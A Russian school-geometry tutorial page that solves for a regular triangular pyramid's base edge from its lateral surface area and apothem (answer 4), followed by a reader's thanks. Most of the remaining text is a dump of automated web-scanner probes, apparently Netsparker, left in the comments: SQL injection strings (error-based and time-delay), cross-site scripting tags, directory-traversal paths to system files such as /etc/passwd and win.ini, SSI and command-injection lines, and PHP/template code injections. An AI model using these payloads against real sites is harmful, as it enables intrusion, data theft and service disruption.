8. Площадь боковой поверхности треугольной пирамиды (вар. 48)
В правильной треугольной пирамиде SABC R - середина ребра АВ, S - вершина. Известно, что SR = 6, а площадь боковой поверхности равна 36. Найдите длину отрезка BC.
Сделаем чертёж. В правильной пирамиде боковые грани - равнобедренные треугольники.
Отрезок SR - медиана, опущенная на основание, а значит, и высота боковой грани.
Площадь боковой поверхности правильной треугольной пирамиды равна сумме площадей трёх равных боковых граней Sбок. = 3 · SABS. Отсюда SABS = 36 : 3 = 12 - площадь грани.
Площадь треугольника равна половине произведения его основания на высоту SABS = 0,5 · AB · SR. Зная площадь и высоту, найдём сторону основания АВ = ВС.
12 = 0,5 · АВ · 6
12 = 3 · АВ
АВ = 4
Ответ: 4
Можно подойти к задаче и с другого конца. Пусть сторона основания АВ = ВС = а.
Тогда площадь грани SABS = 0,5 · AB · SR = 0,5 · а · 6 = 3а.
Площадь каждой из трёх граней равна 3а, площадь трёх граней равна 9а.
По условию задачи площадь боковой поверхности пирамиды равна 36. Sбок. = 9а = 36. Отсюда а = 4. Автор: Ольга Себедаш Просмотров: 89513
|
Спасибо большое за решение задачи))
"& ping -n 25 127.0.0.1 &
"&ping -c 25 127.0.0.1 &"
<!--#exec cmd="expr 268409241 - 2"-->
(select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns)
convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)))
%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x000177%29%3C%2FscRipt%3E
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
../../../../../../../../../../boot.ini
data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAwMTc5KTwvc2NyaXB0Pg==
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
../../../../../../../../../../boot.ini .php
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
/../../../../../../../../../../boot.ini
1 ns=netsparker(0x00017B)
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
../../../../../../../../../../windows/win.ini
//r87.com/n/n.css?0x000184
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
../../../../../../../../../../windows/win.ini .php
"><net sparker=netsparker(0x00019D)>
../../../../../../../../../../windows/iis6.log
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
../../../../../../../../../../proc/self/fd/2
javascript:netsparker(0x00019E)
../../../../../../../../../../proc/self/fd/2 .php
<scRipt>ns(0x0001AF)</scRipt>
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
../../../../../../../../../../var/log/apache2/error.log
"+response.write(268409241-22)+"
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
../../../../../../../../../../var/log/apache/error.log
<%a style=x:expre/**/ssion(netsparker(0x0001D0))>
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
<% response.write(268409241-22) %>
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
../../../../../../../../../../proc/self/version
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
;ns:expression(netsparker(0x0001F2));
../../../../../../../../../../proc/self/version .php
+print(int)0xFFF9999-22;//
-1 AND (SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25))-- 1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
body{x:expression(netsparker(0x0001F4))}
ns../../../../../../../../../../boot.ini........................................................................................................................................................
"+print(int)0xFFF9999-22+"
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
*/netsparker(0x0001F8);/*
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
<? print(int)0xFFF9999-22;//?>
{php}print(int)0xFFF9999-22;{/php}
data:;base64,TlM3NzU0NTYxNDQ2NTc1
[php]print(int)0xFFF9999-22;[/php]
',netsparker(0x0001FE),'
1));SELECT pg_sleep(25)--
'+netsparker(0x00020A)+'
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
(SELECT 1 FROM (SELECT SLEEP(25))A)
-1 or 1=(SELECT 1 FROM (SELECT SLEEP(25))A)
-1" or 1=(SELECT 1 FROM (SELECT SLEEP(25))A)+"
|